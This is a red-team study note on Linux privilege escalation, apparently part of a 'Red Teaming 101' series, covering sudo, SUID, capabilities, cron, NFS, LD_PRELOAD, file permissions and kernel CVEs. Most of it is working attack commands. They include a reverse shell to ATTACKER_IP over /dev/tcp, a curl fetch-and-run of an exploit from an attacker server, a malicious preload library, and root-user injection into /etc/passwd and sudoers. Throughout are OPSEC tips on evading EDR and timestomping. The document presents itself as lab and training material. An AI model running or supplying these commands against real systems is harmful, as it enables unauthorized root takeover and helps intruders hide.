1.1b Linux Deep Dive P1b
1.1b Linux Deep Dive — Part 1b: Privilege Escalation
BLUF: Part 1b covers privilege escalation vectors: sudo misconfigurations, SUID abuse, cron hijacking, NFS exploits, and kernel CVEs.
Authorized use only: Use these notes only in owned, explicitly authorized, or isolated lab environments.
Detection awareness: Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.
Blue-team view: Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.
CTF/lab boundary: If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.
Section 2 — Privilege Escalation: Manual Chains
Every vector below starts with the most passive check first. Only escalate noise when lower-noise
options are exhausted.
2.1 — Sudo Misconfiguration
The highest-value single command on any Linux box. Run this before anything else.
# What can I run as root without a password?
sudo -l
# OPSEC: sudo -l writes to auth.log on some configs -- be aware
# Output to look for:
# (ALL) NOPASSWD: /usr/bin/vim -> instant root shell
# (ALL) NOPASSWD: /usr/bin/python3 -> instant root shell
# (ALL) NOPASSWD: /usr/bin/find -> read/write as root
# (ALL) ALL -> full root, just needs password
Common sudo escalation one-liners (check GTFOBins for the full list):
# sudo vim -> shell escape
sudo vim -c ':!/bin/bash'
sudo vim -c ':py3 import pty; pty.spawn("/bin/bash")'
# sudo find -> exec
sudo find / -name whatever -exec /bin/bash \;
# sudo python/python3 -> setuid shell
sudo python3 -c 'import os; os.system("/bin/bash")'
# sudo awk -> exec
sudo awk 'BEGIN {system("/bin/bash")}'
# sudo less -> shell escape (inside less, type !bash)
sudo less /etc/passwd
# then: !bash
# sudo nano -> shell escape (inside nano: Ctrl+R, Ctrl+X, then: reset; bash 1>&0 2>&0)
sudo nano /etc/hosts
# sudo env inheritance -- if sudo preserves PATH
# If a writable dir is first in PATH and sudo allows env passthrough:
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /tmp/legit_binary
chmod +x /tmp/legit_binary
sudo PATH=/tmp:$PATH legit_binary # only works if env_keep or SETENV is set
# sudo with wildcard in allowed command (e.g., /opt/scripts/*.sh)
# Create file: /opt/scripts/--checkpoint-action=exec=bash
touch '/opt/scripts/--checkpoint-action=exec=bash'
sudo /opt/scripts/*.sh
OPSEC:
sudo -litself is logged toauth.logand may trigger alerts on hardened systems.
It's still worth running — the information gained outweighs the noise. Avoid usingsudofor
interactive root shells if you can accomplish the goal through file reads/writes instead (less
visible in process lists).
2.2 — SUID Binary Exploitation
# Step 1: Find all SUID binaries (passive -- just reads filesystem metadata)
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null # same thing
# Step 2: Filter out expected system binaries -- focus on unusual ones
find / -perm -4000 -type f 2>/dev/null | grep -vE "^(/usr/bin/(passwd|chsh|chfn|newgrp|su|sudo|gpasswd|mount|umount|pkexec)|/bin/(ping|mount|umount|su)|/sbin/|/usr/sbin/)"
# Step 3: For each unusual binary -- check GTFOBins, then:
ls -la /path/to/binary # who owns it? what permissions?
file /path/to/binary # architecture?
strings /path/to/binary | head -30 # any hardcoded paths to hijack?
Exploitation patterns:
# SUID bash (rare but beautiful)
/bin/bash -p # -p preserves effective UID (root)
bash -p -c 'id' # confirm root
# SUID find
find . -exec /bin/sh -p \; -quit
find / -name blah -exec bash -p \; # -quit after first match
# SUID python/python3
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# or read arbitrary files without spawning a shell (quieter):
python3 -c 'print(open("/etc/shadow").read())'
# SUID cp -- overwrite sensitive files
# Option 1: overwrite /etc/passwd to add a root user
openssl passwd -1 -salt hacker Password123
# -> $1$hacker$...HASH...
echo 'hacker:$1$hacker$HASH:0:0:root:/root:/bin/bash' >> /tmp/passwd_new
cp /etc/passwd /tmp/passwd_backup # backup first
cp /tmp/passwd_new /etc/passwd # SUID cp writes as root
su hacker # password: Password123
# SUID vim / vi
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash","bash","-i")'
# or within vim: :shell (drops to root shell if SUID)
# SUID nmap (older versions only -- nmap < 5.21)
nmap --interactive
!sh
# SUID env
env /bin/sh -p
# SUID tee -- write to root-owned files
echo "hacker ALL=(ALL) NOPASSWD: ALL" | tee -a /etc/sudoers
Capabilities abuse (Linux capabilities = fine-grained SUID):
# Find all binaries with capabilities set
getcap -r / 2>/dev/null
# High-value capabilities:
# cap_setuid -> can call setuid(0) -> root
# cap_dac_override -> bypass file read/write permissions
# cap_net_raw -> raw sockets -- useful for sniffing but not direct root
# cap_sys_ptrace -> can ptrace any process -> inject into root process
# cap_setuid on python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/bash","bash")'
# cap_setuid on perl
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
# cap_dac_override on vim -- read /etc/shadow
vim /etc/shadow
# cap_sys_ptrace -- inject shellcode into a root process (advanced)
# Use gdb or a custom injector targeting a root PID
OPSEC: Spawning a root
/bin/bashvia SUID is immediately visible to EDR (execve syscall with
euid=0 from non-root process). Where possible, use the SUID binary to read sensitive files or write
persistence instead of spawning interactive shells.
2.3 — Cron Job Hijacking
# Step 1: Enumerate all cron locations
crontab -l 2>/dev/null # current user's jobs
cat /etc/crontab # system-wide cron
cat /etc/cron.d/* # drop-in cron files
ls -la /etc/cron.{hourly,daily,weekly,monthly}/
cat /etc/cron.{hourly,daily,weekly,monthly}/* 2>/dev/null
# Step 2: Watch for cron jobs not in any crontab (e.g., run by root scripts)
# pspy watches /proc for process creation -- no root needed
# Download: https://github.com/DominicBreuker/pspy
./pspy64 -pf -i 500 # check every 500ms, watch for UID=0 processes
# Watch for 2-3 minutes to catch per-minute jobs
# Look for: UID=0 and a script or binary path you can influence
# Step 3a: Writable script called by cron
ls -la /opt/scripts/backup.sh # is it writable by you?
# If yes -- append your payload (don't overwrite, it might be checked)
echo '' >> /opt/scripts/backup.sh # blank line spacer
echo 'cp /bin/bash /tmp/.sysd; chmod u+s /tmp/.sysd' >> /opt/scripts/backup.sh
# Wait for next cron run, then:
/tmp/.sysd -p # SUID bash as root
# Step 3b: PATH hijacking in cron
# If /etc/crontab has: PATH=/home/user:/usr/local/sbin:/usr/bin:/sbin:/bin
# And a cron job calls a binary by name (not full path), e.g., just 'backup'
# And /home/user is writable:
cat > /home/user/backup << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/.sysdbash
chmod u+s /tmp/.sysdbash
EOF
chmod +x /home/user/backup
# Wait -> /tmp/.sysdbash -p
# Step 3c: Wildcard injection in cron tar/rsync commands
# If cron runs: tar czf /backup/archive.tar.gz /var/www/*
# And /var/www/ is writable by you:
touch '/var/www/--checkpoint=1'
touch '/var/www/--checkpoint-action=exec=bash payload.sh'
cat > /var/www/payload.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/.sysdbash && chmod u+s /tmp/.sysdbash
EOF
chmod +x /var/www/payload.sh
# Next tar run picks up the filenames as flags -> executes payload.sh as root
OPSEC: Appending to existing scripts is less detectable than replacing them — file modification
time changes either way, but a replaced file changes its content hash and size, both of which
AIDE/Tripwire monitor. Timestomp after modification (see Section 5). Remove your additions after
gaining root.
2.4 — NFS Misconfigurations
NFS access control is enforced by /etc/exports flags. Three distinct exploitation paths exist depending on which flag is present.
2.4.1 — no_root_squash (direct root write)
root_squash (the safe default) remaps UID 0 on the client to the anonymous UID (65534) on the server.
no_root_squash disables that remapping -- client root writes as server root.
# Check /etc/exports on the target (requires read access to this file)
cat /etc/exports
# Dangerous entries:
# /home *(rw,no_root_squash)
# /srv/data 10.10.10.0/24(rw,no_root_squash,sync)
# From YOUR attacker machine (as local root):
showmount -e TARGET_IP # enumerate exports
mkdir /tmp/nfs_mount
mount -t nfs TARGET_IP:/home /tmp/nfs_mount -nolock
# Write a SUID shell onto the share -- root on client = root on server
cp /bin/bash /tmp/nfs_mount/rootbash
chmod +s /tmp/nfs_mount/rootbash
# Back on target -- execute it
/home/rootbash -p
# Cleanup
rm /tmp/nfs_mount/rootbash && umount /tmp/nfs_mount
2.4.2 — root_squash bypass via UID impersonation
When root_squash IS active, root is squashed -- but non-root UIDs are passed through unchanged.
If a target user owns interesting files (e.g. a cron script, a Python library), matching their UID
on your attacker box gives you write access to those files through the mount.
# 1. Identify a UID worth impersonating on the target
cat /etc/passwd # look for service accounts or cron owners
# Example: backup:x:1001:1001:...
# 2. On attacker box -- create a throwaway user with matching UID
useradd -u 1001 nfsuser # UID must match exactly
su nfsuser
# 3. Mount (as root first, then access as nfsuser)
mount -t nfs TARGET_IP:/backup /tmp/nfs_mount -nolock
# 4. As nfsuser (UID 1001) -- NFS server treats you as uid 1001 on the server
# Write a malicious cron payload, replace a script, plant a .so, etc.
cp /tmp/evil.sh /tmp/nfs_mount/nightly_backup.sh
chmod +x /tmp/nfs_mount/nightly_backup.sh
# If the script runs as root on the target (e.g. root cron), you get root execution
# without ever bypassing root_squash -- you bypassed the file ownership check instead
Precondition: the exported path must contain files owned by a non-root UID that have
elevated execution context (run by root cron, called by a SUID binary, loaded as a library).
2.4.3 — no_all_squash (group-based write)
no_all_squash leaves GID unmapped for non-root users. If a world-writable or group-writable
directory is exported with this flag, matching the GID gives write access.
# Check for group-writable dirs on the target share
ls -la /exported/path/ # look for g+w directories
# On attacker: create a group with the matching GID
groupadd -g 1002 nfsgroup
usermod -aG nfsgroup $(whoami)
# Mount and write as a member of that group
mount -t nfs TARGET_IP:/data /tmp/nfs_mount -nolock
# Files/dirs owned by GID 1002 with g+w are now writable
2.4.4 — Enumeration checklist
# Remote -- no auth needed
showmount -e TARGET_IP # exported paths
nmap -sV --script nfs-showmount TARGET_IP # same via nmap
nmap -sV --script nfs-ls TARGET_IP # list files on exports
# On target (if shell access)
cat /etc/exports # flags per export
rpcinfo -p TARGET_IP # confirm NFS service ports
| Flag | Default? | Risk |
|---|---|---|
root_squash |
Yes (safe) | No direct root write; bypass via UID impersonation if writable scripts exist |
no_root_squash |
No | Direct root write -- plant SUID, overwrite /etc/passwd, etc. |
no_all_squash |
No | Non-root UID/GID pass-through -- group-write abuse |
rw |
Often set | Write access -- required for all paths above |
2.5 — LD_PRELOAD / LD_LIBRARY_PATH (via sudo env_keep)
# Check: does sudo preserve LD_PRELOAD?
sudo -l | grep -E "env_keep|LD_PRELOAD|SETENV"
# Look for: env_keep+=LD_PRELOAD or SETENV
# If yes -- write a malicious shared library
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/evil.so /tmp/evil.c
# Run any allowed sudo binary with the preload
sudo LD_PRELOAD=/tmp/evil.so find / # 'find' just as an example -- use whatever is in sudo -l
# The evil.so _init() runs before find, spawns root shell
# Cleanup
rm /tmp/evil.c /tmp/evil.so
2.6 — Weak File Permissions on Sensitive Files
# /etc/passwd writable (direct root user add)
ls -la /etc/passwd
# If writable:
openssl passwd -1 -salt pwned Password1
echo 'pwned:GENERATED_HASH:0:0:pwned:/root:/bin/bash' >> /etc/passwd
su pwned # password: Password1
# /etc/shadow readable (offline crack)
ls -la /etc/shadow
cat /etc/shadow # if readable by your user or group
# Copy hashes and crack offline: hashcat -m 1800 shadow.txt wordlist.txt
# /etc/sudoers writable
ls -la /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
sudo bash
# Find world-writable files that might matter
find / -writable -type f 2>/dev/null | grep -vE "/proc|/sys|/dev|/run" | \
grep -E "cron|sudoers|passwd|shadow|hosts|profile|bashrc|environment"
# Find world-writable directories in PATH (PATH hijack opportunity)
echo $PATH | tr ':' '\n' | xargs -I{} sh -c 'test -w "{}" && echo "WRITABLE PATH DIR: {}"'
2.7 — Kernel Exploit — Last Resort
# Step 1: Identify exact kernel version
uname -r # e.g., 5.4.0-42-generic
uname -a # full string including build date
cat /proc/version
# Step 2: Research the version
# Run linux-exploit-suggester on attacker machine or if target has internet:
# https://github.com/mzet-/linux-exploit-suggester
./les.sh --kernel $(uname -r) # targeted results for this kernel
# Key CVEs worth knowing:
# DirtyPipe (CVE-2022-0847) -> kernel 5.8-5.16.11 -> overwrite root-owned files
# DirtyCow (CVE-2016-5195) -> kernel < 4.8.3 -> write to read-only mappings -> overwrite /etc/passwd
# PwnKit (CVE-2021-4034) -> polkit pkexec -> universal LPE, works on most distros
# OverlayFS (CVE-2023-0386) -> kernel < 6.2 -> setuid bit in overlayfs
# GameOver (CVE-2023-35829) -> kernel 6.x -> UAF in io_uring
# Step 3: Transfer exploit to target via /dev/shm (avoid /tmp)
# Compile on attacker if gcc not on target:
x86_64-linux-gnu-gcc exploit.c -o exploit -static -pthread
# Transfer (scp, curl from your server, or base64 encode/decode):
# On attacker: base64 exploit > exploit.b64 && python3 -m http.server 8080
# On target:
curl -s http://ATTACKER_IP:8080/exploit.b64 | base64 -d > /dev/shm/exploit
chmod +x /dev/shm/exploit
./dev/shm/exploit
# Step 4: Clean up immediately after use
rm /dev/shm/exploit
OPSEC: Kernel exploits are the noisiest vector. They often crash processes, log kernel panics
to/var/log/kern.log, and cause unusual syscall patterns that EDR tools fingerprint. Use only
when all other options are exhausted. Test on an identical kernel in a lab first.
Continues in Part 2 — Looting, Persistence, Cleanup, Shell Upgrade, Sliver C2
Part of the [Red Teaming 101](0 README.md) series. Companion to [1. Linux](1. Linux.md).